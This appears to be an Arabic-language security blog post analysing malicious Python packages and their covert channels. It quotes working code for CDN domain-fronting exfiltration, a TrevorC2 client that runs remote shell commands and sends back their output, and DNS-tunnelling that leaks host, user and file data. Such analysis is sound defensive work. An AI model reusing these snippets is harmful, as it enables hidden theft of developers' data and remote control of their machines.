11 مكتبة في بايثون عليك عدم استخدامها

الية العمل التي تستخدمها مكتبة importantpackage  في تنصيب برمجيات خبيثة على الأنظمة .

تسمى هذه الالية ب Abusing CDN TLS termination for data exfiltration وتتم هذه الية عبر عدة خطوات كالاتي:

حيث تم استخدام FastlyCDN لتمويه الاتصال مع سيرفر C2 الخاص بالمخترقين بحيث كانت الية الكود كما موضح ادناه

url = "https://pypi.python.org" + "/images" + "?" + "guid=" + b64_payload
r = request.Request(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})

يتم ارسال HTTPS الى pypi.python.org وهو بطبيعة الحال طلب عادي لا يوجد فيه اية مشاكل . ولكن مع اضافة الهيدر يتم اعادة توجية الطلب الى السيرفر الخاص بفريق المخترقين C2 وبالطبع يتمح بالاتصال في كلا الاتجاهين .

كما يظهر في التحليل للترافيك الصادر من المكتبة الاتصال يتم ب pypi.org بدون ادنى شك ان هناك عملية خبيثة تحدث في الخلفية

بعد اتمام عملية اعادة التوجية نلاحظ مباشرة حدوث اتصال بسيرفر C2 الخاص بمطورين المكتبة (المخترقين) , وكما يتضح ايضا فان الاتصال غير مشفر ويتم عن طريق بروتوكول HTTP وهنا يمكننا تتبع البيانات التي يتلقاها سيرفر C2 الخاص بفريق الاختراق.

يوضح الشكل ادناه طريق الاتصال بالتفصيل

الطريقة الأخرى في عملية الاتصال HTTP-based command & control using TrevorC2

وهي استخدام TrevorC2 وهو عبارة عن Client / Server يعمل بالية اتصال تعمل على تعمية الاوامر الخاصة ب C2 من خلال استخدام اتصالات تظهر وكأنها لمواقع شرعية . تم تطوير المشروع بلغة بايثون . بحيث يتم الاتصال على مراحل مختلفة مرفقة في كود بايثون ادناه .

html = req.get(SITE_URL + ROOT_PATH_QUERY)
parse = html.decode().split("")[0]
if hostname in parse:
    parse = parse.split(hostname + "::::")[1]
    # execute our parsed command
    proc = subprocess.Popen(parse, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    stdout_value = proc.communicate()[0]
    stdout_value = (hostname + "::::" + str(stdout_value)).encode('utf-8')
    stdout_value = base64.b64encode(stdout_value).decode('utf-8')
    # pipe out stdout and base64 encode it then request via a query string parameter
    html = req.post(SITE_URL + SITE_PATH_QUERY + "?" + QUERY_STRING, data = stdout_value)

ipboards & pptest – Exfiltration via DNS-tunneling

بعتبر تخطي حمايات الشبكة عن طريق DNS tunneling من اشهر الطرق المتبعة في اتصال البرمجيات الخبيثة , بما ان بروتوكول DNS يتم تصنيفة بانه اتصال طبيعي ويكون مفعل في السيرفرات بشكل افتراضي وكذلك غالبا لا توجد اي حمايات عليه في Firewalls مقارنة بغيره من البروتوكولات مثل HTTP على سبيل المثال . فان استخدام هذا البروتوكول في نقل البيانات الخاصة باتصال البرمجية الخبيثة يعد مثالي لتخطي انظمة حماية الشبكة. وكذلك يتم استخدامها في تخطي حمايات شبكات الوايفاي المدفوعة.

يوضح الرسم التالي الية الاتصال

كيف تستغل مكتبة ipboards  هذه الطريقة للوصول لاجهزة وسيرفرات المطورين ؟

عندما نقوم بعمل DNS Query لدومين معين ولنفترض انه blog.cyber-sky.org فاذا كان ال subdomain المسمى blog موجودا فان ال DNS server يقوم بارجاع القيمة الخاصة ب IP Address اما اذا كان غير موجود فيقوم بارجاع الدومين الاقرب في العنوان وهو في هذه الحالة cyber-sky.org .

يتوفر شرح لتقنيات متقدمة في تخطي الحمايات ضمن دوراتنا المتقدمة في منصة سايبر سكاي

تفحص دوراتنا من هنا

لنلقي نظرة على كود من مكتبة ipboards 

# Encode gathered information as an hex-string
payload=ip+';'+username+';'+hostname+';'+str(now)+';'+path+';'+packagename+';'+hostFile
payload=hexlify(bytes(payload))
 
# Breaks the payload into 50-byte chunks
chunks = [payload[i:i+50] for i in range(0, len(payload), 50)]
 
# Send chunks via DNS requests
for chunk in chunks:
    dns.resolver.query(pd.decode("utf-8") +dnss,'A')